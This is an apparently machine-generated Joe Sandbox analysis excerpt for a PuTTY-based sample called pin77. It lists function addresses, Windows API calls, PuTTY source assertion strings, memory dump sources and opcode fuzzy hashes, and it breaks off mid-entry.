                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/utils/cert-expr.c$false && "unhandled node type in exprnode_free"
                                                                                                                                                    • API String ID: 4218353326-1224637189
                                                                                                                                                    • Opcode ID: f41608b61adbd16ae71cf6716fe27b7be0b1e281003b9190676890010abc294d
                                                                                                                                                    • Instruction ID: 2bf5a6d24dfb4f7e5c37e5332611edfe83bd6d60b47e522db4b38cef300d67e3
                                                                                                                                                    • Opcode Fuzzy Hash: f41608b61adbd16ae71cf6716fe27b7be0b1e281003b9190676890010abc294d
                                                                                                                                                    • Instruction Fuzzy Hash: 49316F72A006104BD7136E29EC52E6F73E5DF81332F164A2AED545B3E0E732AC0987C2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00314F20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • ___from_strstr_to_strchr.LIBCMT ref: 00314F35
                                                                                                                                                    • ___from_strstr_to_strchr.LIBCMT ref: 00314F44
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ___from_strstr_to_strchr
                                                                                                                                                    • String ID: Event Log: %s
                                                                                                                                                    • API String ID: 601868998-1617424366
                                                                                                                                                    • Opcode ID: 5fc5513c94c37a1ac158b18846b454c064e931f6aebc66c9281d9f84a966d8db
                                                                                                                                                    • Instruction ID: f7f47a0d3fd4e56417eb87dd33637ab1627a3e8210bd06a398a74905c09ed642
                                                                                                                                                    • Opcode Fuzzy Hash: 5fc5513c94c37a1ac158b18846b454c064e931f6aebc66c9281d9f84a966d8db
                                                                                                                                                    • Instruction Fuzzy Hash: 4D217EB5600140AFD72B5724EC46BEA3759AF4F319F190114F4058B752E326E8E5C6E3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00313040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,0000014B,00000000,00000000), ref: 003130C4
                                                                                                                                                    Strings
                                                                                                                                                    • c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list)), xrefs: 0031308C
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 00313087
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemMessageSend
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list))
                                                                                                                                                    • API String ID: 3015471070-892283786
                                                                                                                                                    • Opcode ID: 5c303e0c40c425a3231cd53e87476d02fb3b8f03ba40631e890df5d3c9557983
                                                                                                                                                    • Instruction ID: e23fda3dbd4f52962d410df3b1c087d0ac1b55c04712aa2f941ecc23f16a8305
                                                                                                                                                    • Opcode Fuzzy Hash: 5c303e0c40c425a3231cd53e87476d02fb3b8f03ba40631e890df5d3c9557983
                                                                                                                                                    • Instruction Fuzzy Hash: CB112670644205AFEB2A8B14DC85FB273E9EB4D714F05016DF10A8B5D1DB61AD94C781
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003134B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000186,?,00000000), ref: 00313546
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 00313514
                                                                                                                                                    • c && c->ctrl->type == CTRL_LISTBOX && !c->ctrl->listbox.multisel, xrefs: 00313519
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemMessageSend
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && c->ctrl->type == CTRL_LISTBOX && !c->ctrl->listbox.multisel
                                                                                                                                                    • API String ID: 3015471070-1668224942
                                                                                                                                                    • Opcode ID: a9f0911543989bf92ff225a2e22f72d216152d35dffcc5b33c10f2828b9009a8
                                                                                                                                                    • Instruction ID: 59cab671cd653c1ab20d150c7b13e22ddcad806f39b4c42c6e58bfc4602dde21
                                                                                                                                                    • Opcode Fuzzy Hash: a9f0911543989bf92ff225a2e22f72d216152d35dffcc5b33c10f2828b9009a8
                                                                                                                                                    • Instruction Fuzzy Hash: D511E131604201EFE326CE05DC82FE3B3AAFB8DB14F010024F5049B291C772AD88CB61
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00313410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000187,?,00000000), ref: 0031349D
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 0031347A
                                                                                                                                                    • c && c->ctrl->type == CTRL_LISTBOX && c->ctrl->listbox.multisel && c->ctrl->listbox.height != 0, xrefs: 0031347F
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemMessageSend
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && c->ctrl->type == CTRL_LISTBOX && c->ctrl->listbox.multisel && c->ctrl->listbox.height != 0
                                                                                                                                                    • API String ID: 3015471070-1883717164
                                                                                                                                                    • Opcode ID: 4ed6013b7eef76456640cf982afdae4cd8956e4e662a4fcdb66b88b130f5850b
                                                                                                                                                    • Instruction ID: 65a6d4af817da0d301c27653fcd734dcf17ebf2ab616afd941765a9ee498e1f6
                                                                                                                                                    • Opcode Fuzzy Hash: 4ed6013b7eef76456640cf982afdae4cd8956e4e662a4fcdb66b88b130f5850b
                                                                                                                                                    • Instruction Fuzzy Hash: 3411C031604251EFE727CE16DC82F96B3A8EB4C704F020265F9449B1A2DB71ED94CBA1
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00313280 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000199,?,00000000), ref: 00313310
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 003132DE
                                                                                                                                                    • c && c->ctrl->type == CTRL_LISTBOX, xrefs: 003132E3
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemMessageSend
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && c->ctrl->type == CTRL_LISTBOX
                                                                                                                                                    • API String ID: 3015471070-2520046726
                                                                                                                                                    • Opcode ID: 01d05a385dcdc7ee8794a9a65daa078ff3a2fe9a1dd7a7b36f21a0cee454f67e
                                                                                                                                                    • Instruction ID: dbe3e010d098a27c898e2bd65cc6b7c713c490cf7c70251176cc1b3b3af030f4
                                                                                                                                                    • Opcode Fuzzy Hash: 01d05a385dcdc7ee8794a9a65daa078ff3a2fe9a1dd7a7b36f21a0cee454f67e
                                                                                                                                                    • Instruction Fuzzy Hash: 6811D271744202EFD216DE44DCC2FA6B3A9EB8C704F014928F5049B681C772AD95CBA1
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00312C20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • CheckRadioButton.USER32(?,?,?,-00000001), ref: 00312CA6
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 00312C7E
                                                                                                                                                    • c && c->ctrl->type == CTRL_RADIO, xrefs: 00312C83
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ButtonCheckRadio
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && c->ctrl->type == CTRL_RADIO
                                                                                                                                                    • API String ID: 2493629399-1269695261
                                                                                                                                                    • Opcode ID: c99a6c82e36f38db28835ad4813262b2eafbc8b7285771483f62c381dceb684c
                                                                                                                                                    • Instruction ID: 1711135807d2478b1448a5999563379a3a35c6b67b46fa81d42767295b1e4332
                                                                                                                                                    • Opcode Fuzzy Hash: c99a6c82e36f38db28835ad4813262b2eafbc8b7285771483f62c381dceb684c
                                                                                                                                                    • Instruction Fuzzy Hash: D611ADB2A04212EFC616CF05DDC1E9BB3A8FB5D708F064168E6045B651E372BC65CBE1
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0031C520 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: BreakClearCloseCommHandle
                                                                                                                                                    • String ID: Error writing to serial device
                                                                                                                                                    • API String ID: 2685284230-3232346394
                                                                                                                                                    • Opcode ID: 4861d00b38e81180f5211801b09c63b42c9850cf76bb9fcdc70b0cca233a5da9
                                                                                                                                                    • Instruction ID: 44e34b5b8fb5050054c9104b3e9d34ff10ec48e12bc81f8daa07eb3803f99d4e
                                                                                                                                                    • Opcode Fuzzy Hash: 4861d00b38e81180f5211801b09c63b42c9850cf76bb9fcdc70b0cca233a5da9
                                                                                                                                                    • Instruction Fuzzy Hash: AA1190B09007009FCB269F34EC49E47BBE9AF04315F148A29F89A876A1D331F994CB81
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00312D80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • CheckDlgButton.USER32(?,?,00000000), ref: 00312DF9
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 00312DDE
                                                                                                                                                    • c && c->ctrl->type == CTRL_CHECKBOX, xrefs: 00312DE3
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ButtonCheck
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && c->ctrl->type == CTRL_CHECKBOX
                                                                                                                                                    • API String ID: 83588225-3149189057
                                                                                                                                                    • Opcode ID: d70b4cebb44ff01c531fddb1544b92e1a7453087e0c239c05f02764f09825bd7
                                                                                                                                                    • Instruction ID: 9bbf4f612182ecd1651ffeb08aea9f8238b02b4faf7fdb07c6601a7ac162c137
                                                                                                                                                    • Opcode Fuzzy Hash: d70b4cebb44ff01c531fddb1544b92e1a7453087e0c239c05f02764f09825bd7
                                                                                                                                                    • Instruction Fuzzy Hash: 4E012632688292AFC2138E65FC41EE7BBA8EB9E705F050065F4509B151D372ACB4C7A1
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00313560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 003135BE
                                                                                                                                                    • c && c->ctrl->type == CTRL_TEXT, xrefs: 003135C3
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemText
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && c->ctrl->type == CTRL_TEXT
                                                                                                                                                    • API String ID: 3367045223-45018312
                                                                                                                                                    • Opcode ID: 1ffc2e617f66b3d6c22b9fcad8c67265e0aa766456889ffb30fa5917827d8496
                                                                                                                                                    • Instruction ID: 6749a902c6b61ce32702cb2a3c99847c8daf86354facdad43b3d0aae5ec59962
                                                                                                                                                    • Opcode Fuzzy Hash: 1ffc2e617f66b3d6c22b9fcad8c67265e0aa766456889ffb30fa5917827d8496
                                                                                                                                                    • Instruction Fuzzy Hash: 7401D132604211FFD212DE55EC81F9BB7AAEB4EB44F010125F50497652D371AD98CBA1
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0031C6F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen
                                                                                                                                                    • String ID: 6c/$Configured password was not accepted
                                                                                                                                                    • API String ID: 4218353326-960854101
                                                                                                                                                    • Opcode ID: b575a0481ceb5530ff098bdecd439f8f00cfb53a6d448206086bfb05fdd8a03c
                                                                                                                                                    • Instruction ID: d16241d4394bab7c97ed46f7d8be01639aa6bd5aa98670d7570530ce28311d17
                                                                                                                                                    • Opcode Fuzzy Hash: b575a0481ceb5530ff098bdecd439f8f00cfb53a6d448206086bfb05fdd8a03c
                                                                                                                                                    • Instruction Fuzzy Hash: 7311A9B95502419FE3079F20EC15BA77BA8AB56305F190459E8804B391D3B5EC95CB52
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00312E10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • IsDlgButtonChecked.USER32(?,?), ref: 00312E79
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 00312E62
                                                                                                                                                    • c && c->ctrl->type == CTRL_CHECKBOX, xrefs: 00312E67
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ButtonChecked
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && c->ctrl->type == CTRL_CHECKBOX
                                                                                                                                                    • API String ID: 1719414920-3149189057
                                                                                                                                                    • Opcode ID: a977226a199c4d51147aaa47e3c0dc87520ffdb5a1ec5973967aaa17dcda780d
                                                                                                                                                    • Instruction ID: 02287b6715b6ac6c973c030d1b7d4063a4e23221ec0e5472b3366e6b18cdcab6
                                                                                                                                                    • Opcode Fuzzy Hash: a977226a199c4d51147aaa47e3c0dc87520ffdb5a1ec5973967aaa17dcda780d
                                                                                                                                                    • Instruction Fuzzy Hash: 3BF04036640305EFD227AE65EC46FE7B7A9FB4DB04F060120F00897560E722ACA0CBE0
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003512E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen
                                                                                                                                                    • String ID: ||
                                                                                                                                                    • API String ID: 4218353326-1685714724
                                                                                                                                                    • Opcode ID: f3d23f069191543db9f5e98e23d4042d47a75f9fdad9a0ea2a2cfb47d788e39a
                                                                                                                                                    • Instruction ID: 2d000bf0ee17c9a1f3ed5cec41a799c1c102e8a608347fcc07f54b10f40d6719
                                                                                                                                                    • Opcode Fuzzy Hash: f3d23f069191543db9f5e98e23d4042d47a75f9fdad9a0ea2a2cfb47d788e39a
                                                                                                                                                    • Instruction Fuzzy Hash: CC01A2F5C111146FD2127B11FC46F5AB35CEB413A8F050430FD1C4B252E6266A68CAEA
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F6230 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • ShowCursor.USER32(00000001,?,?,?,?,00000000,00000000), ref: 002F6276
                                                                                                                                                    • MessageBoxA.USER32 ref: 002F62A2
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: CursorMessageShow
                                                                                                                                                    • String ID: %s Error
                                                                                                                                                    • API String ID: 2689832819-1420171443
                                                                                                                                                    • Opcode ID: ab8a650fe660a1da3db66a5f2148a20cf2638c09d9d1ee1adec0a9134dda7755
